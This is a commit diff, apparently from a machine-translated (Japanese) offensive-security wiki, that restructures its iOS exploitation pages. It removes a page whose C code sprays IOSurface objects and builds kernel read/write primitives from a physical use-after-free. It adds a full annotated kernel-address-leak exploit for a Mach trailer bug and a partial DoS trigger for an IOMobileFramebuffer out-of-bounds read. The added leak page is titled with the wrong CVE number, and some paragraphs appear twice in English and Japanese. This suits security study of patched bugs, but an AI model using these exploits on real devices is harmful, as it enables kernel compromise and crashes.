Translated ['src/network-services-pentesting/pentesting-web/laravel.md',

This commit is contained in:
Translator 2025-09-26 01:14:08 +00:00
parent ffda8c7ff7
commit ed1f0c3612
26 changed files with 3145 additions and 1757 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md) - [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md) - [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md) - [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md) - [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md) - [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md) - [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md) - [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md) - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI # 🤖 AI
- [AI Security](AI/README.md) - [AI Security](AI/README.md)

View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Physical use-after-free
これは[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)の投稿からの要約であり、この技術を使用したエクスプロイトに関するさらなる情報は[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)で見つけることができます。
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOSのユーザープロセスの**仮想メモリアドレス空間**は**0x0から0x8000000000**まで広がっています。しかし、これらのアドレスは物理メモリに直接マッピングされているわけではありません。代わりに、**カーネル**は**ページテーブル**を使用して仮想アドレスを実際の**物理アドレス**に変換します。
#### Levels of Page Tables in iOS
ページテーブルは3つのレベルで階層的に整理されています
1. **L1 Page Table (Level 1)**:
* ここにある各エントリは、大きな範囲の仮想メモリを表します。
* **0x1000000000バイト**(または**256 GB**)の仮想メモリをカバーします。
2. **L2 Page Table (Level 2)**:
* ここにあるエントリは、特に**0x2000000バイト**32 MBの小さな仮想メモリ領域を表します。
* L1エントリは、全体の領域を自分でマッピングできない場合、L2テーブルを指すことがあります。
3. **L3 Page Table (Level 3)**:
* これは最も細かいレベルで、各エントリは単一の**4 KB**メモリページをマッピングします。
* より細かい制御が必要な場合、L2エントリはL3テーブルを指すことがあります。
#### Mapping Virtual to Physical Memory
* **Direct Mapping (Block Mapping)**:
* ページテーブルの一部のエントリは、仮想アドレスの範囲を連続した物理アドレスの範囲に直接**マッピング**します(ショートカットのように)。
* **Pointer to Child Page Table**:
* より細かい制御が必要な場合、あるレベルのエントリL1は次のレベルの**子ページテーブル**を指すことができますL2
#### Example: Mapping a Virtual Address
仮に仮想アドレス**0x1000000000**にアクセスしようとするとします:
1. **L1 Table**:
* カーネルは、この仮想アドレスに対応するL1ページテーブルエントリをチェックします。もしそれが**L2ページテーブルへのポインタ**を持っていれば、そのL2テーブルに進みます。
2. **L2 Table**:
* カーネルは、より詳細なマッピングのためにL2ページテーブルをチェックします。このエントリが**L3ページテーブル**を指していれば、そこに進みます。
3. **L3 Table**:
* カーネルは最終的なL3エントリを調べ、実際のメモリページの**物理アドレス**を指します。
#### Example of Address Mapping
物理アドレス**0x800004000**をL2テーブルの最初のインデックスに書き込むと、次のようになります
* 仮想アドレス**0x1000000000**から**0x1002000000**は、物理アドレス**0x800004000**から**0x802004000**にマッピングされます。
* これはL2レベルでの**ブロックマッピング**です。
また、L2エントリがL3テーブルを指している場合
* 仮想アドレス範囲**0x1000000000 -> 0x1002000000**の各4 KBページは、L3テーブルの個別のエントリによってマッピングされます。
### Physical use-after-free
**物理的なuse-after-free**UAFは、次のような場合に発生します
1. プロセスが**読み取り可能かつ書き込み可能**なメモリを**割り当て**ます。
2. **ページテーブル**がこのメモリをプロセスがアクセスできる特定の物理アドレスにマッピングするように更新されます。
3. プロセスがメモリを**解放**(フリー)します。
4. しかし、**バグ**のために、カーネルはページテーブルからマッピングを**削除するのを忘れ**、対応する物理メモリをフリーとしてマークします。
5. カーネルはその後、この「解放された」物理メモリを**カーネルデータ**などの他の目的のために**再割り当て**できます。
6. マッピングが削除されなかったため、プロセスはこの物理メモリに**読み書き**を続けることができます。
これは、プロセスが**カーネルメモリのページ**にアクセスできることを意味し、そこには機密データや構造が含まれている可能性があり、攻撃者が**カーネルメモリを操作**できる可能性があります。
### Exploitation Strategy: Heap Spray
攻撃者は、どの特定のカーネルページが解放されたメモリに割り当てられるかを制御できないため、**ヒープスプレー**と呼ばれる技術を使用します:
1. 攻撃者はカーネルメモリに**多数のIOSurfaceオブジェクト**を作成します。
2. 各IOSurfaceオブジェクトは、そのフィールドの1つに**マジックバリュー**を含んでおり、識別が容易です。
3. 攻撃者は**解放されたページをスキャン**して、これらのIOSurfaceオブジェクトのいずれかが解放されたページに配置されているかを確認します。
4. 解放されたページにIOSurfaceオブジェクトを見つけると、それを使用して**カーネルメモリを読み書き**できます。
この詳細については[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)を参照してください。
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: 攻撃者は特別な識別子「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを作成します。
2. **Scan Freed Pages**: 彼らは、オブジェクトのいずれかが解放されたページに割り当てられているかを確認します。
3. **Read/Write Kernel Memory**: IOSurfaceオブジェクトのフィールドを操作することで、カーネルメモリ内で**任意の読み書き**を行う能力を得ます。これにより、彼らは:
* 1つのフィールドを使用してカーネルメモリ内の**任意の32ビット値**を**読み取る**ことができます。
* 別のフィールドを使用して**64ビット値を書き込む**ことができ、安定した**カーネル読み書きプリミティブ**を実現します。
IOSURFACE_MAGICというマジックバリューを持つIOSurfaceオブジェクトを生成して、後で検索します
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
解放された物理ページ内の**`IOSurface`**オブジェクトを検索します:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### カーネルの読み書きをIOSurfaceで実現する
カーネルメモリ内のIOSurfaceオブジェクトユーザースペースからアクセス可能な解放された物理ページにマッピングされているを制御できるようになると、**任意のカーネル読み書き操作**に使用できます。
**IOSurfaceの重要なフィールド**
IOSurfaceオブジェクトには2つの重要なフィールドがあります
1. **使用カウントポインタ****32ビットの読み取り**を許可します。
2. **インデックス付きタイムスタンプポインタ****64ビットの書き込み**を許可します。
これらのポインタを上書きすることで、カーネルメモリ内の任意のアドレスにリダイレクトし、読み書き機能を有効にします。
#### 32ビットカーネル読み取り
読み取りを行うには:
1. **使用カウントポインタ**をターゲットアドレスから0x14バイトオフセットを引いた位置にポイントするように上書きします。
2. `get_use_count`メソッドを使用して、そのアドレスの値を読み取ります。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64ビットカーネル書き込み
書き込みを行うには:
1. **インデックス付きタイムスタンプポインタ**をターゲットアドレスに上書きします。
2. `set_indexed_timestamp`メソッドを使用して64ビット値を書き込みます。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### エクスプロイトフローの要約
1. **物理的なUse-After-Freeをトリガー**: 再利用可能なフリーページがあります。
2. **IOSurfaceオブジェクトをスプレー**: カーネルメモリにユニークな「マジックバリュー」を持つ多くのIOSurfaceオブジェクトを割り当てます。
3. **アクセス可能なIOSurfaceを特定**: 制御しているフリーページ上のIOSurfaceを見つけます。
4. **Use-After-Freeを悪用**: IOSurfaceオブジェクト内のポインタを変更して、IOSurfaceメソッドを介して任意の**カーネルの読み書き**を可能にします。
これらのプリミティブを使用することで、エクスプロイトはカーネルメモリへの制御された**32ビットの読み取り**と**64ビットの書き込み**を提供します。さらなる脱獄手順には、追加の保護新しいarm64eデバイスのPPLをバイパスする必要があるかもしれない、より安定した読み書きプリミティブが含まれる可能性があります。
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,344 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 脆弱性の説明
こちらに[great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)がありますが、要約すると:
カーネルが受信するすべての Mach message は **"trailer"** で終わりますこれはメタデータseqno、sender token、audit token、context、access control data、labels...)を持つ可変長の構造体です。カーネルはメッセージバッファ内で **常に最大の trailerMAX_TRAILER_SIZEを予約** しますが、**一部のフィールドしか初期化しません**。その後、**ユーザが制御する受信オプション** に基づいて返す trailer のサイズを**決定します**。
These are the trailer relevant structs:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
その後、trailer オブジェクトが生成されると、一部のフィールドのみが初期化され、最大 trailer サイズが常に確保されます:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
例えば、`mach_msg()` を使って Mach メッセージを読み取ろうとすると、メッセージに trailer を追加するために `ipc_kmsg_add_trailer()` が呼び出されます。この関数内で trailer のサイズが計算され、他のいくつかの trailer フィールドが設定されます:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
`option` パラメータはユーザー制御されているため、**`if` チェックを通過する値を渡す必要があります。**
このチェックを通過するには、サポートされている有効な `option` を送信する必要があります:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
しかし、`MACH_RCV_TRAILER_MASK` は単にビットをチェックしているだけなので、`0` から `8` の間の任意の値を渡して `if` 文の中に入らないようにできます。
その後、コードを読み進めると次のような箇所が見つかります:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Were you can see that if the `option` is bigger or equals to `MACH_RCV_TRAILER_AV` (7), the field **`msgh_ad`** is initialized to `0`.
ご覧のとおり、`option``MACH_RCV_TRAILER_AV` (7) 以上の場合、フィールド **`msgh_ad`** は `0` に初期化されます。
If you noticed, **`msgh_ad`** was still the only field of the trailer that was not initialized before which could contain a leak from previously used memory.
ご注意のように、**`msgh_ad`** はトレーラの中で以前はまだ初期化されていない唯一のフィールドであり、以前使用されていたメモリからの leak を含む可能性がありました。
So, the way avoid initializing it would be to pass an `option` value that is `5` or `6`, so it passes the first `if` check and doesn't enter the `if` that initializes `msgh_ad` because the values `5` and `6` don't have any trailer type associated.
したがって、これを初期化させない方法は、`option``5` または `6` を渡すことです。そうすれば最初の if チェックを通過し、**`msgh_ad`** を初期化する if ブロックに入らなくなります。なぜなら `5``6` には関連するトレーラタイプが存在しないからです。
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には、ランダムなデータを単に leak する PoC が掲載されています。
### Leak Kernel Address PoC
The Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to leak a kernel address. For this, a message full of `mach_msg_port_descriptor_t` structs is sent in the message cause the field `name` of this structure in userland contains an unsigned int but in kernel the `name` field is a struct `ipc_port` pointer in kernel. Thefore, sending tens of these structs in the message in kernel will mean to **add several kernel addresses inside the message** so one of them can be leaked.
[original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) には kernel address を leak する PoC もあります。これは、メッセージに `mach_msg_port_descriptor_t` 構造体を大量に詰めて送信することで実現します。userland ではこの構造体の `name` フィールドは `unsigned int` ですが、kernel では `name` フィールドは `struct ipc_port` のポインタです。したがって、これらの構造体を多数送信するとメッセージ内に **複数の kernel addresses が追加され**、そのうちの一つが leak される可能性があります。
Commetns were added for better understanding:
理解を助けるためにコメントを追加しました:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## 参考文献
- [Synacktiv のブログ記事](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## 脆弱性
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
- 脆弱性のあるコードパスは **external method #83**、IOMobileFramebuffer / AppleCLCD の user client にある: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`。このメソッドはユーザが制御するパラメータを受け取り、その検証を一切行わずに次の関数へ **`scalar0`** として渡します。
- そのメソッドは **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`** にフォワードされ、ここで **`scalar0`**(ユーザ制御の **32-bit** 値)が内部の **pointer の配列** に対する **index** として **境界チェックなし** で使われます:
> `ptr = *(this + 0xA58 + scalar0 * 8);``IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`**`IOSurface*`** として渡される。\
> 結果: OOB pointer read & type confusion がその配列で発生します。もしポインタが有効でない場合、カーネルがデリファレンスして panic する → DoS。
> [!NOTE]
> これは **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1** で修正されました。
> [!WARNING]
> `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` を呼ぶ初期関数は entitlement **com.apple.private.allow-explicit-graphics-priority** により保護されています。しかし、**WebKit.WebContent** はこの entitlement を持っているため、サンドボックス化されたプロセスからこの脆弱性をトリガーすることができます。
## DoS PoC
以下は元のブログ投稿からの初期 DoS PoC追加コメント付きです:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
